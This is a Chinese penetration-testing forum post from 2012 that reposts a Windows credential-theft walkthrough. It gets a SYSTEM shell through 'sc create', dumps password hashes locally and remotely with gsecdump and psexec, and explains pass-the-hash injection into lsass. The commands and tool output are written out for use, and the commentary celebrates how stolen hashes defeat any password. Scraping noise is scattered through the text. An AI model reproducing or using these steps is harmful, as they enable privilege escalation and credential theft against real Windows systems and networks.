中国网络渗透测试联盟

标题: HASH注入式攻击 [打印本页]
作者: admin    时间: 2012-11-6 21:09
标题: HASH注入式攻击
o get a DOS Prompt as NT system:5 c: E, F2 i+ J5 V% G% n
" n" }( K4 m+ S- u) T. R6 v  Q; e3 E
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact5 B! Z6 q2 S6 k' S1 f+ B
[SC] CreateService SUCCESS$ R; c+ s. C0 n. p

2 C% A: j2 c) |  F4 p; `C:\>sc start shellcmdline6 }8 N8 Z/ f+ V5 O, ^. G2 v# l
[SC] StartService FAILED 1053:
/ m  j, r9 `* e% C) r, h
: ^& Q! \% D/ G! LThe service did not respond to the start or control request in a timely fashion.* H5 z! c6 e  t# O* G/ b' l

6 ~# w3 m: Q5 iC:\>sc delete shellcmdline
$ O" H7 m3 \' f; t[SC] DeleteService SUCCESS. K$ w" P0 v6 S0 Q9 w
# Y5 f# c5 x; K$ `
------------$ i4 v4 l3 r. L

4 M5 e# u7 n& A7 ^6 v5 XThen in the new DOS window:
8 H* r( B2 [) h: G0 z
' f. t, d. Z7 t& a! lMicrosoft Windows XP [Version 5.1.2600]6 p# S( t& M/ P9 \* p
(C) Copyright 1985-2001 Microsoft Corp.
0 \( @# C% C, F2 a( s  C7 U% h% A& W
$ r0 M3 }5 F& x' m7 z4 f4 J0 E8 I- p. FC:\WINDOWS\system32>whoami2 e. K4 U* \; C- M- U+ q
NT AUTHORITY\SYSTEM
+ |: t' ]: @) @* `" s+ h# h  A) d
! D! [: E+ d* r5 M6 x$ |" n1 AC:\WINDOWS\system32>gsecdump -h
5 H$ l1 V/ S7 B/ d6 Agsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se); U1 D% D; F% \! T
usage: gsecdump [options]) Q7 I3 b" e& o! ]1 [$ A9 D
$ D# t, w9 C( I/ |* m
options:
9 D# d+ [/ o  p& [& o' \-h [ --help ] show help1 k5 O& Y0 |. S' |, a% x' Q$ l
-a [ --dump_all ] dump all secrets% ~- S4 Q0 I! r' b8 x3 k
-l [ --dump_lsa ] dump lsa secrets; E7 s' |& v& d! F4 s5 w
-w [ --dump_wireless ] dump microsoft wireless connections9 z) k% K# P2 F1 U1 _
-u [ --dump_usedhashes ] dump hashes from active logon sessions
6 n: V* }! W1 q% w8 e4 D1 O-s [ --dump_hashes ] dump hashes from SAM/AD
* i# b/ q  o5 \$ Y  C9 h3 J- g: i7 N4 |) f" O( t
Although I like to use:2 j* ]0 A" a# v/ d0 V: ~: b

9 P. _' ]$ S' ]- `" S! FPsExec v1.83 - Execute processes remotely
7 O: b: Y" b7 Q8 [# H) sCopyright (C) 2001-2007 Mark Russinovich2 S" h! m/ n5 C. e" _! j
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
1 ?; x* ?/ q* r; F; N5 n1 [: l' y2 }+ S5 b7 i8 M
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
3 D7 _; e6 A% _. s- m4 G6 ?/ A6 P) |# D* L
to get the hashes from active logon sessions of a remote system.
  f% X3 g$ ^; P0 ]& j5 \( J  }! M4 S0 D, @# c
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
+ j/ f! Y5 p) E" D$ L8 C7 b
0 |+ m/ [, h8 O* c; M7 k5 `0 F提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
0 d9 Q; c+ r: s- |4 H- n原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
2 H- |' B# ?: O$ v# j/ X, j& X, e% E4 \
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
: C# }& E# V$ g* I# _/ b



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2